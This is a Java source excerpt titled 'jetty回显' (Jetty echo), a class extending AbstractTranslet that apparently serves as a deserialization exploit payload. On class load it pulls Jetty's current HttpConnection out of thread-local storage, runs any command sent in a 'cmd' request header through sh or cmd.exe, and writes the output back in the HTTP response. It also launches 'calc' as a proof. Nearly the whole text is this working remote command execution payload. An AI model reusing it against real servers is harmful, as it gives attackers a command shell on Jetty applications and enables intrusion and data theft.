jetty回显
| 12 | * jetty回显 |
| 13 | */ |
| 14 | public class Echo_HttpConnection extends AbstractTranslet { |
| 15 | static { |
| 16 | try { |
| 17 | getResponse(); |
| 18 | Runtime.getRuntime().exec("calc"); |
| 19 | } catch (Exception e) { |
| 20 | e.printStackTrace(); |
| 21 | } |
| 22 | } |
| 23 | public static void getResponse() throws Exception { |
| 24 | Thread thread = Thread.currentThread(); |
| 25 | java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals"); |
| 26 | threadLocals.setAccessible(true); |
| 27 | Object threadLocalMap = threadLocals.get(thread); |
| 28 | |
| 29 | Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); |
| 30 | java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table"); |
| 31 | tableField.setAccessible(true); |
| 32 | Object[] objects = (Object[]) tableField.get(threadLocalMap); |
| 33 | |
| 34 | Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); |
| 35 | java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value"); |
| 36 | entryValueField.setAccessible(true); |
| 37 | |
| 38 | for (Object object : objects) { |
| 39 | if (object != null) { |
| 40 | Object valueObject = entryValueField.get(object); |
| 41 | if (valueObject != null) { |
| 42 | if (valueObject.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) { |
| 43 | Method getHttpChannel = valueObject.getClass().getDeclaredMethod("getHttpChannel"); |
| 44 | getHttpChannel.setAccessible(true); |
| 45 | Object httpChannel = getHttpChannel.invoke(valueObject); |
| 46 | Class<?> HttpChannel = httpChannel.getClass(); |
| 47 | |
| 48 | Object request = HttpChannel.getMethod("getRequest").invoke(httpChannel); |
| 49 | Object response = HttpChannel.getMethod("getResponse").invoke(httpChannel); |
| 50 | java.io.PrintWriter writer = (java.io.PrintWriter) response.getClass().getMethod("getWriter").invoke(response); |
| 51 | Method getHeader = request.getClass().getMethod("getHeader",String.class); |
| 52 | String cmd1 = (String) getHeader.invoke(request, "cmd"); |
| 53 | String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1}; |
| 54 | java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); |
| 55 | java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a"); |
| 56 | String output = s.hasNext() ? s.next() : ""; |
| 57 | writer.write("by Firebasky:"); |
| 58 | writer.write("\n"+output); |
| 59 | writer.close(); |
| 60 | } |
| 61 | } |
| 62 | } |
| 63 | } |
| 64 | } |
| 65 | |
| 66 | @Override |
| 67 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { |
| 68 | |
| 69 | } |
| 70 | |
| 71 | @Override |
nothing calls this directly
no test coverage detected